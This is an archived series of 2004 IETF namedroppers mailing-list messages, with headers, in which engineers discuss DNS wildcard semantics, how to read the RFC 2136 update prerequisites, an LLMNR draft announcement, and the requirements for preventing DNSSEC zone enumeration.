>>> provide >>> a means for the recipient to validate the received message. >>> I need to tie the query to the lack of data. If I were able to sign a >>> tailored message - including the original query plus the empty data >>> return >>> (or name error) - then all that is needed is to do that. The recipient >>> would see the signed denial, get the key to validate it, and we are >>> more >>> or less done. >>> >>> Signing a tailored response requires on-line signing. (I assume we all >>> have a good idea of the issues that entails.) >>> The NSEC approach uses precomputed statements (I assume we all know >>> that). >>> Combining the NSEC statements with 4.3.2, we need to supply one NSEC >>> statement per "failure" to match in 4.3.2. In the case of a name >>> error, >>> one error is the failure to find an exact match, a second error is the >>> failure to find the '*'. >> >> >> That is if there is a "the" '*'. If there are multiple possibilities >> (e.g. a >> '*' in the middle somewhere) then you need to provide further proofs. > > > There are no multiple possibilities. That's the point of the closest > encloser - there is one and only one node present in the DNS data tree > that is closest to the sought name. > > The *only* wild card that is eligible to match the sought name is then > "*.<closest encloser>." This is regardless of the contents (label > sequence) of the "closest encloser". > > Suspending disbelief for the moment, let's say 1034 didn't restrict > internal '*'s. If there was the name "*. one.*.two.example.com" and I > was matching "zebra.donkey.one.*.two.example.com"... the closest > encloser would be one.*.two.example.com (assuming no donkey or > zebra.donkey). In that case, "zebra.donkey" matches the first > (leftmost) "*" in the wild card. Well, this is certainly my understanding, too, but I thought the discussion was heading towards it possibly not being true! Cheers, Ben. -- http://www.apache-ssl.org/ben.html http://www.thebunker.net/ "There is no limit to what a man can do or how far he can go if he doesn't mind who gets the credit." - Robert Woodruff -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Edward Lewis <edlewis@arin.net> Subject: Re: thesaurus attack Date: Wed, 8 Sep 2004 12:20:43 -0400 Lines: 26 Sender: owner-namedroppers@ops.ietf.org References: <a06020407bd64c0ca0a9b@[192.136.136.102]> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" ; format="flowed" Cc: namedroppers@ops.ietf.org, edlewis@arin.net X-From: owner-namedroppers@ops.ietf.org Wed Sep 08 18:32:35 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Sender: edlewis@127.0.0.1 In-Reply-To: <a06020407bd64c0ca0a9b@[192.136.136.102]> To: Edward Lewis <edlewis@arin.net> Precedence: bulk At 10:13 -0400 9/8/04, Edward Lewis wrote: >As far as "is it doable" - a lot of text has already been floated showing how >the matching is "supposed to" work in the face of interior "*"s. No one >pointed out a problem with it until the words in 1034 were raised. In another conversation, it was pointed out that I should mention where this text is. It's in a retired version of the wcard draft, but available here: http://www.potaroo.net/ietf/old-ids/draft-ietf-dnsext-wcard-clarify-00.txt Look in "Appendix A." -- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Edward Lewis +1-703-227-9854 ARIN Research Engineer "I can't go to Miami. I'm expecting calls from telemarketers." - Grandpa Simpson. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Edward Lewis <edlewis@arin.net> Subject: Re: more wild cards Date: Wed, 8 Sep 2004 12:18:50 -0400 Lines: 28 Sender: owner-namedroppers@ops.ietf.org References: <413920C7.3000809@daimlerchrysler.com> <a06020407bd5ce15f1169@[192.168.1.100]> <a06020401bd5c29d82510@[192.168.1.100]> <27579.1094135350@munnari.OZ.AU> <3659.1094156279@munnari.OZ.AU> <18901.1094415765@munnari.OZ.AU> <413C692C.1060702@algroup.co.uk> <a06020411bd63a804f192@[192.168.1.100]> <413F02ED.70506@algroup.co.uk> <a06020406bd64beea9a38@[192.136.136.102]> <413F17FB.1010907@algroup.co.uk> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" ; format="flowed" Cc: Edward Lewis <edlewis@arin.net>, Robert Elz <kre@munnari.OZ.AU>, Kevin Darcy <kcd@daimlerchrysler.com>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Wed Sep 08 18:48:03 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Sender: edlewis@127.0.0.1 In-Reply-To: <413F17FB.1010907@algroup.co.uk> To: Ben Laurie <ben@algroup.co.uk> Precedence: bulk At 15:32 +0100 9/8/04, Ben Laurie wrote: >> Suspending disbelief for the moment, let's say 1034 didn't restrict internal >>'*'s. If there was the name "*. one.*.two.example.com" and I was matching >>"zebra.donkey.one.*.two.example.com"... the closest encloser would be >>one.*.two.example.com (assuming no donkey or zebra.donkey). In that case, >>"zebra.donkey" matches the first (leftmost) "*" in the wild card. > >Well, this is certainly my understanding, too, but I thought the discussion >was heading towards it possibly not being true! Just to make sure I understand - given the zig-zag nature of *my* comment, I'm not clear on which "heading" you are talking about. ;) Are you favoring allowing internal "*"s in all cases, as is proposed in the "thesaurus attack" message? -- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Edward Lewis +1-703-227-9854 ARIN Research Engineer "I can't go to Miami. I'm expecting calls from telemarketers." - Grandpa Simpson. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From i-d-announce-bounces@ietf.org Fri Dec 29 10:46:06 2006 From: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-dnsext-mdns-35.txt Date: Wed, 08 Sep 2004 15:35:51 -0400 Lines: 102 Sender: i-d-announce-bounces@ietf.org Reply-To: internet-drafts@ietf.org Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" Cc: namedroppers@ops.ietf.org X-From: i-d-announce-bounces@ietf.org Wed Sep 08 21:52:38 2004 Return-path: <i-d-announce-bounces@ietf.org> To: i-d-announce@ietf.org X-BeenThere: i-d-announce@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: i-d-announce.ietf.org List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/i-d-announce>, <mailto:i-d-announce-request@ietf.org?subject=unsubscribe> List-Post: <mailto:i-d-announce@ietf.org> List-Help: <mailto:i-d-announce-request@ietf.org?subject=help> List-Subscribe: <https://www1.ietf.org/mailman/listinfo/i-d-announce>, <mailto:i-d-announce-request@ietf.org?subject=subscribe> Errors-To: i-d-announce-bounces@ietf.org --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the DNS Extensions Working Group of the IETF. Title : Linklocal Multicast Name Resolution (LLMNR) Author(s) : L. Esibov, et al. Filename : draft-ietf-dnsext-mdns-35.txt Pages : 26 Date : 2004-9-8 Today, with the rise of home networking, there are an increasing number of ad-hoc networks operating without a Domain Name System (DNS) server. The goal of Link-Local Multicast Name Resolution (LLMNR) is to enable name resolution in scenarios in which conventional DNS name resolution is not possible. LLMNR supports all current and future DNS formats, types and classes, while operating on a separate port from DNS, and with a distinct resolver cache. Since LLMNR only operates on the local link, it cannot be considered a substitute for DNS. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-dnsext-mdns-35.txt To remove yourself from the I-D Announcement list, send a message to i-d-announce-request@ietf.org with the word unsubscribe in the body of the message. You can also visit https://www1.ietf.org/mailman/listinfo/I-D-announce to change your subscription settings. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-dnsext-mdns-35.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-dnsext-mdns-35.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <2004-9-8154256.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-dnsext-mdns-35.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-dnsext-mdns-35.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <2004-9-8154256.I-D@ietf.org> --OtherAccess-- --NextPart Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline _______________________________________________ I-D-Announce mailing list I-D-Announce@ietf.org https://www1.ietf.org/mailman/listinfo/i-d-announce --NextPart-- From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Kevin Darcy <kcd@daimlerchrysler.com> Subject: Re: Interpretation of RFC 2136 Date: Wed, 08 Sep 2004 17:46:20 -0400 Lines: 90 Sender: owner-namedroppers@ops.ietf.org References: <200409072217.i87MHbQe037524@drugs.dv.isc.org> <31306.1094632224@www58.gmx.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-From: owner-namedroppers@ops.ietf.org Wed Sep 08 23:56:19 2004 Return-path: <owner-namedroppers@ops.ietf.org> User-Agent: Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.4) Gecko/20030701 X-Accept-Language: en-us, en To: namedroppers@ops.ietf.org In-Reply-To: <31306.1094632224@www58.gmx.net> Precedence: bulk Tom Schmitt wrote: >Hi, > >in RFC 2136 (Dynamic Updates in the Domain Name System) there are a section >explaining the behavior how a server react to the updates where is a section >which refers to Prerequisites: > > > >> (2) RRset exists (value dependent). A set of RRs with a >> specified NAME and TYPE exists and has the same members >> with the same RDATAs as the RRset specified here in this >> Section. >> >> >> > >My understanding of this is, that when I sent > > prereq yxrrset foo.baa.com A 10.0.0.2 > >I'll get NOERROR if there is a record "foo.baa.com A 10.0.0.2" and I will >get NXRRSET if there is no such a record. >Now I discovered, there are circumstances in which the Bind does not react >in this way. If there is such a record but also another record with the same >name and type, but another IP-Adress, then the Bind answer NXRRSET even >though such a record exist. > >I send a question regarding this to the bind-mailinglist, but the answer >was, that it is no bug, but a question of interpreting RFC 2136: > > > >> (2) RRset exists (value dependent). A set of RRs with a >> specified NAME and TYPE exists and has the same members >> with the same RDATAs as the RRset specified here in this >> Section. >> >> The prerequisite section talks about RR sets. This is a >> exact match. Unfortunately there is no way to specify a >> partial match. For a partial match it would have words to >> like. >> >> (2) RRset exists (value dependent). A set of RRs with a >> specified NAME and TYPE exists and has the same members >> with the same RDATAs as the RRset specified here in this >> Section plus possibly other RRs with the same NAME and TYPE. >> >> If you feel our interpretation is wrong this should be discussed >> on namedroppers. >> >>Mark Andrews, ISC >> >> > >So what is the right interprtation? > "Has the same members" seems rather unambiguous to me. The RRset has to match in its entirety. >And if the version of Mark Andrews is >right, is there a way to determinate if a record exist which will word in >all circumstances? > Well, sure there's a way to determine whether a record exists. Look it up by name and type. Now, if you want something more *atomic* than that, which you can in a Dynamic Update prerequisite, then you might have to resort to some sort of local convention for round-robin names, where you create a separate "adjunct" record, with a unique name, for each record in the round-robin. For instance, if you have a name foo.example.com owning A records 10.0.0.1 and 10.0.0.2, you might have adjunct TXT records of the form 10_0_0_1.a-record.foo.example.com and 10_0_0_2.a-record.foo.example.com. Then you could set a prerequisite of "prereq 10_0_0_1.a-record.foo.example.com txt" any time you want to ensure that the 10.0.0.1 A record existed with the name foo.example.com, *without* needing to even know about the existence of the other A record. Seems like a lot of work, and superfluous DNS records, for very little benefit, though... - Kevin -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Robert Elz <kre@munnari.OZ.AU> Subject: Re: Interpretation of RFC 2136 Date: Thu, 09 Sep 2004 08:10:20 +0700 Lines: 67 Sender: owner-namedroppers@ops.ietf.org References: <31306.1094632224@www58.gmx.net> <200409072217.i87MHbQe037524@drugs.dv.isc.org> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable Cc: namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Thu Sep 09 03:27:27 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: "Tom Schmitt" <TomSchmitt@gmx.de> In-Reply-To: <31306.1094632224@www58.gmx.net> Precedence: bulk Date: Wed, 8 Sep 2004 10:30:24 +0200 (MEST) From: "Tom Schmitt" <TomSchmitt@gmx.de> Message-ID: <31306.1094632224@www58.gmx.net> | So what is the right interprtation? And if the version of Mark Andrew= s is | right, is there a way to determinate if a record exist which will wor= d in | all circumstances? Mark is correct in his interpretation, there's no question about that. As to "how to ...?" - you need to understand the use of prerequisites. They're not intended as a way to have the server decide for you whether o= r not the update should be made, all they are intended for is to control race conditions. That is, the intended use is that you query the DNS, to the extent your application needs, in order to discover whether or not your update should= be done. Then you use the prerequisites to make sure the data in the DNS hasn't been updated between when you queried to discover what is ther= e, and when your update is processed. If the condition fails, you start again at the beginning, discover whether or not the update should be made= in the current conditions (using whatever queries get you the data for th= at) and then construct a prerequisite to check that conditions haven't change= d. To do more that that would require a much more complex way of stating the= conditions, and a much richer condition set. But what is there is just fine for the way it is intended to be used. To do your "update if an A record exists" text, do an A query, save the RRset that is the answer, check if the record you hope for is present. If not, you simply stop (that's your intent, right?) If the A record is= there, you send back the RRset that was fetched by the A query, and insis= t that it be unaltered for the update to be performed. If the update is performed, you know the A record of interest must still have been present, as it was part of the RRset you sent back. If the update wasn't performed, you know almost nothing, except that some= thing has changed - so you query for the A records again, and see if the addres= s which matters to you is still there - if it is, you repeat your update with the new RRset as the "must be there" prerequisite. And continue till it works, or until sometime the A record isn't there (which would me= an you lost an update race). kre -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Robert Elz <kre@munnari.OZ.AU> Subject: Re: thesaurus attack Date: Thu, 09 Sep 2004 08:14:32 +0700 Lines: 37 Sender: owner-namedroppers@ops.ietf.org References: <a06020407bd64c0ca0a9b@[192.136.136.102]> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Cc: namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Thu Sep 09 03:27:27 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Edward Lewis <edlewis@arin.net> In-Reply-To: <a06020407bd64c0ca0a9b@[192.136.136.102]> Precedence: bulk Date: Wed, 8 Sep 2004 10:13:39 -0400 From: Edward Lewis <edlewis@arin.net> Message-ID: <a06020407bd64c0ca0a9b@[192.136.136.102]> | I'll float this idea. It's an idea, I think it can work, but it's up | to the WG. | | REMOVE the restriction in 1034: "<anydomain> should not contain other | * labels". I am all in favour of that, I don't think that restriction ever made sense. However... | This opens the protocol to places it's not been, so there's no danger | to old code. No. It doesn't. The extra '*' labels don't magically work as wildcards, the lookup algorithm in 4.3.2 or 1034 would continue unchanged. The text that was in Appendix A of the wildcard draft is certainly not needed, not that, or anything like it. And explain the way that wildcard lookups get done (with a liberal sprinkling of the words from 1034 that explain how a '*' is an RR generator, and a complete quashing of the notion that there is any kind of name pattern matching happening - there isn't). kre -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Robert Elz <kre@munnari.OZ.AU> Subject: Re: more wild cards Date: Thu, 09 Sep 2004 08:39:49 +0700 Lines: 117 Sender: owner-namedroppers@ops.ietf.org References: <413E8A81.7000502@daimlerchrysler.com> <413920C7.3000809@daimlerchrysler.com> <a06020407bd5ce15f1169@[192.168.1.100]> <a06020401bd5c29d82510@[192.168.1.100]> <27579.1094135350@munnari.OZ.AU> <3659.1094156279@munnari.OZ.AU> <18901.1094415765@munnari.OZ.AU> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Cc: namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Thu Sep 09 03:47:42 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Kevin Darcy <kcd@daimlerchrysler.com> In-Reply-To: <413E8A81.7000502@daimlerchrysler.com> Precedence: bulk Date: Wed, 08 Sep 2004 00:28:49 -0400 From: Kevin Darcy <kcd@daimlerchrysler.com> Message-ID: <413E8A81.7000502@daimlerchrysler.com> | I was considering the difference between an NXDOMAIN and a NODATA | response to be a significant one. I agree, it is. | Admittedly, there isn't much | difference from the perspective of a garden-variety app calling | gethostbyname(), which is what I meant by "no functional difference" which isn't the same thing as "no difference". | or whatever, but I was under the (possibly mistaken) | impression that this difference mattered from a DNSSEC perspective. Yes, internally, in the DNS, they're totally different things. | At the very least, isn't part of the justification for having a concept | of "empty non-terminal"s at all (a concept that I think belongs to an | old-fashioned "tree" paradigm rather than the more modern | index-into-a-database paradigm, and therefore rather difficult to convey | to novices who often aren't so steeped in hierarchical design models) Old fashioned or not, the DNS is a tree design. Attempting to interpret or explain it any other way can only lead to problems. | the alleged ability of a caching resolver to "prune" the namespace, so | that queries for names underneath a "branch" that is known to not exist | at all (i.e. an empty non-terminal) can be automatically answered in the | negative without having to incur a subsidiary query to the authoritative | servers for the zone? [Aside: I assume the parenthitical remark was "not an empty non-terminal" ??] But from where does this supposed intent to allow resolvers (caches) to make that kind of conclusion arise? I certainly favour no such approach. A negative answer is a negative answer to a particular query, and nothing should be attempting to draw conclusions about other queries. | If we're going to consider NXDOMAIN and NODATA to | be functionally equivalent, Only functionally equivalent ("the data you wanted doesn't exist") not equivalent. | then I say let's go all the way and just | abolish the notion of an "empty non-terminal" altogether. K.I.S.S. What is simple in this area isn't always obvious. In particular, attempting to explain just why some names that don't exist can have descendants, but others can't would be an interesting experience. (as in, you can have x.y.example.com without y.example.com, but you can't have x.example.com without example.com existing). It is better (and simpler) to simply require that a name exists if any sub-domains of it are to exist. | If, on the other hand, NXDOMAIN and NODATA are not, "[f]or all practical | purposes [...] exactly the same", then the spec should either a) refine | the lookup algorithm to *only* give special meaning to asterisk labels | that are part of "wildcard"s, That should certainly happen - in fact, that's what the spec currently says, all you need to do is read 1034 (4.3.2, and 4.3.3) as it really is quite clear about how the things work, and where special meaning gets attributed to '*'. | or b) broaden the definition of "wildcard" | to include any name with an asterisk label in it. This isn't an alternative, it is true as well, any name with a '*' label is a wildcard (at one point). However, this probably doesn't have the impact you're expecting, as wildcards are not name pattern matching characters, they're RR generators (1034 says so) - that is, if at some point a name doesn't exist, but a wildcard sibling does, then the RR's at the wildcard are used to generate RR's (of the appropriate type, if they exist) for the QNAME. That's it. | Hopefully the new | draft can reconcile the tension that exists between _de_jure_ | "wildcards" and _de_facto_ "names containing asterisk labels that might | cause special behavior within the lookup algorithm". One hopes so, especially given that there really shouldn't be any discussion amongst us here at all about the wat this all works. Everyone here should be thoroughly familiar with the text in 1034 - or at the very least, willing to go read it and understand it. The point of this draft should be to make all of this clear to people who can't be bothered to actually read 1034 carefully enough to understand it. | In addition to the difference between an NXDOMAIN and a NODATA response, | there is still the legalistic question of whether Section 4.3.3's | prohibition on multiple asterisk labels in a "wildcard" owner name | functionally "turns off" the special behavior that would otherwise occur | with asterisk labels, in the case where none of the | multiple-asterisk-labels happens to be the first label of the name, and | therefore the name itself does not technically qualify as a "wildcard" | under 4.3.3's definition... That's not a meaningful question at all. Any label in the DNS is the first label of some name (exactly one name). It is impossible to have a label that isn't. kre -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Roy Arends <roy@dnss.ec> Subject: Re: dictionary attack on nameservers Date: Thu, 9 Sep 2004 09:23:35 +0200 (CEST) Lines: 27 Sender: owner-namedroppers@ops.ietf.org Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-From: owner-namedroppers@ops.ietf.org Thu Sep 09 09:37:56 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-X-Sender: roy@trinitario.schlyter.se To: namedroppers@ops.ietf.org Precedence: bulk Hi, I'd like to fix NSEC name leakage in order to make zone enumeration with DNSSEC not easier then without DNSSEC. Not at any cost though, it would be nice if we can satisfy most/all of the following requirements (stolen from Ed's mail, thanks Ed) Prove non-existence of name/type without - leaking names - introducing fake names - on-demand cryptographic operations - being vulnerable to replay attacks - incompatible changes with current DNSSEC Satisfying all requirements seems hard. If we can prioritise them, we've come a long way. Roy -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Simon Josefsson <jas@extundo.com> Subject: Re: dictionary attack on nameservers Date: Thu, 09 Sep 2004 11:18:52 +0200 Lines: 51 Sender: owner-namedroppers@ops.ietf.org References: <Pine.BSO.4.56.0409090901160.11211@trinitario.schlyter.se> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-From: owner-namedroppers@ops.ietf.org Thu Sep 09 11:27:36 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Injected-Via-Gmane: http://gmane.org/ To: namedroppers@ops.ietf.org Lines: 44 X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: c494102a.s-bi.bostream.se User-Agent: Gnus/5.110003 (No Gnus v0.3) Emacs/21.3.50 (gnu/linux) Cancel-Lock: sha1:dE9bC8s2g0f/ZZm1ma/kfgGv8Kw= Precedence: bulk Roy Arends <roy@dnss.ec> writes: > Hi, > > I'd like to fix NSEC name leakage in order to make zone enumeration with > DNSSEC not easier then without DNSSEC. > > Not at any cost though, it would be nice if we can satisfy most/all of the > following requirements (stolen from Ed's mail, thanks Ed) > > Prove non-existence of name/type without > > - leaking names > - introducing fake names > - on-demand cryptographic operations > - being vulnerable to replay attacks > - incompatible changes with current DNSSEC > > Satisfying all requirements seems hard. If we can prioritise them, we've > come a long way. For those discussions, perhaps it is useful to explain all your requirements in, e.g., http://www.links.org/dnssec/requirements.txt so we at least start from a common understanding of the requirements. I still don't understand the importance of the second requirement above, and would like to have it explained in detail in a document, rather than trying to collect various pieces of the picture from many e-mails. Keith Moore recently said something worth repeating, on the general topic of requirements: Aside: I generally find it unhelpful to enumerate "requirements" because these things have different degrees of importance. There's nothing wrong with enumerating "goals" or enumerating "problems" to be solved, but calling them "requirements" makes it seem that they're non-negotiable and all of equal importance. We'd probably be happy with a partial solution - one that solved the worst of the problems without introducing harmful unintended effects -, and we probably won't find a complete solution anyway. Thanks, Simon -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Roy Arends <roy@dnss.ec> Subject: Re: dictionary attack on nameservers Date: Thu, 9 Sep 2004 11:32:13 +0200 (CEST) Lines: 16 Sender: owner-namedroppers@ops.ietf.org References: <Pine.BSO.4.56.0409090901160.11211@trinitario.schlyter.se> <iluoekfvlz7.fsf@latte.josefsson.org> Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Cc: namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Thu Sep 09 11:39:34 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-X-Sender: roy@trinitario.schlyter.se To: Simon Josefsson <jas@extundo.com> In-Reply-To: <iluoekfvlz7.fsf@latte.josefsson.org> Precedence: bulk On Thu, 9 Sep 2004, Simon Josefsson wrote: > For those discussions, perhaps it is useful to explain all your > requirements in, e.g., http://www.links.org/dnssec/requirements.txt so > we at least start from a common understanding of the requirements. perhaps, but I was doing the 20-lines dance to sing my current thinking. Roy -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Ben Laurie <ben@algroup.co.uk> Subject: Re: dictionary attack on nameservers Date: Thu, 09 Sep 2004 16:03:30 +0100 Lines: 33 Sender: owner-namedroppers@ops.ietf.org References: <20040728190530.GA22758@atoom.net> <20040901111452.7276c683.olaf@ripe.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Cc: namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Thu Sep 09 17:38:02 2004 Return-path: <owner-namedroppers@ops.ietf.org> User-Agent: Mozilla Thunderbird 0.6 (Windows/20040502) X-Accept-Language: en To: "Olaf M. Kolkman" <olaf@ripe.net> In-Reply-To: <20040901111452.7276c683.olaf@ripe.net> X-Enigmail-Version: 0.84.2.0 X-Enigmail-Supports: pgp-inline, pgp-mime Precedence: bulk Olaf M. Kolkman wrote: > I want to close this thread by giving every participant the > opportunity to state their concluding argument in not more than 20 > lines of text. The central idea is that people should not be worse off by deploying DNSSEC than they are by deploying DNS, So, zone file enumeration should be no easier in DNSSEC than it is in DNS. That said, DNSSEC introduces other considerations, in particular the potential exposure of private keys, so a solution should not require private keys to be kept online. And then there are "ordinary" DNS requirements: the solution should be compact and minimise change to existing protocols. If it introduces extra processing, storage or bandwidth requirements, it should also be optional. Cheers, Ben. -- http://www.apache-ssl.org/ben.html http://www.thebunker.net/ "There is no limit to what a man can do or how far he can go if he doesn't mind who gets the credit." - Robert Woodruff -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Ben Laurie <ben@algroup.co.uk> Subject: Re: more wild cards Date: Thu, 09 Sep 2004 17:38:38 +0100 Lines: 48 Sender: owner-namedroppers@ops.ietf.org References: <413920C7.3000809@daimlerchrysler.com> <a06020407bd5ce15f1169@[192.168.1.100]> <a06020401bd5c29d82510@[192.168.1.100]> <27579.1094135350@munnari.OZ.AU> <3659.1094156279@munnari.OZ.AU> <18901.1094415765@munnari.OZ.AU> <413C692C.1060702@algroup.co.uk> <a06020411bd63a804f192@[192.168.1.100]> <413F02ED.70506@algroup.co.uk> <a06020406bd64beea9a38@[192.136.136.102]> <413F17FB.1010907@algroup.co.uk> <a0602040dbd64e0c58974@[192.136.136.102]> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Cc: Robert Elz <kre@munnari.OZ.AU>, Kevin Darcy <kcd@daimlerchrysler.com>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Thu Sep 09 18:54:04 2004 Return-path: <owner-namedroppers@ops.ietf.org> User-Agent: Mozilla Thunderbird 0.6 (Windows/20040502) X-Accept-Language: en To: Edward Lewis <edlewis@arin.net> In-Reply-To: <a0602040dbd64e0c58974@[192.136.136.102]> X-Enigmail-Version: 0.84.2.0 X-Enigmail-Supports: pgp-inline, pgp-mime Precedence: bulk Edward Lewis wrote: > At 15:32 +0100 9/8/04, Ben Laurie wrote: > >>> Suspending disbelief for the moment, let's say 1034 didn't restrict >>> internal >>> '*'s. If there was the name "*. one.*.two.example.com" and I was >>> matching >>> "zebra.donkey.one.*.two.example.com"... the closest encloser would be >>> one.*.two.example.com (assuming no donkey or zebra.donkey). In that >>> case, >>> "zebra.donkey" matches the first (leftmost) "*" in the wild card. >> >> >> Well, this is certainly my understanding, too, but I thought the >> discussion >> was heading towards it possibly not being true! > > Just to make sure I understand - given the zig-zag nature of *my* > comment, I'm not clear on which "heading" you are talking about. ;) > > Are you favoring allowing internal "*"s in all cases, as is proposed in > the "thesaurus attack" message? In terms of purity, I think internal "*"s should be allowed, but I do think its a completely pointless pastime in practice. It will cause confusion for little benefit, though I am 100% in favour of that small benefit (reduced code complexity). So, I guess, yes, allow them, but the first sentence of wildcard-clarify should be "Yes, you can have a * in the middle of a name, BUT IT ISN'T A WILDCARD". Cheers, Ben. -- http://www.apache-ssl.org/ben.html http://www.thebunker.net/ "There is no limit to what a man can do or how far he can go if he doesn't mind who gets the credit." - Robert Woodruff -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Peter Koch <pk@TechFak.Uni-Bielefeld.DE> Subject: Re: dictionary attack on nameservers Date: Thu, 09 Sep 2004 19:50:35 +0200 Lines: 30 Sender: owner-namedroppers@ops.ietf.org References: <20040901111452.7276c683.olaf@ripe.net> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-From: owner-namedroppers@ops.ietf.org Thu Sep 09 20:04:25 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Authentication-Warning: grimsvotn.TechFak.Uni-Bielefeld.DE: pk owned process doing -bs X-Authentication-Warning: grimsvotn.TechFak.Uni-Bielefeld.DE: pk@localhost didn't use 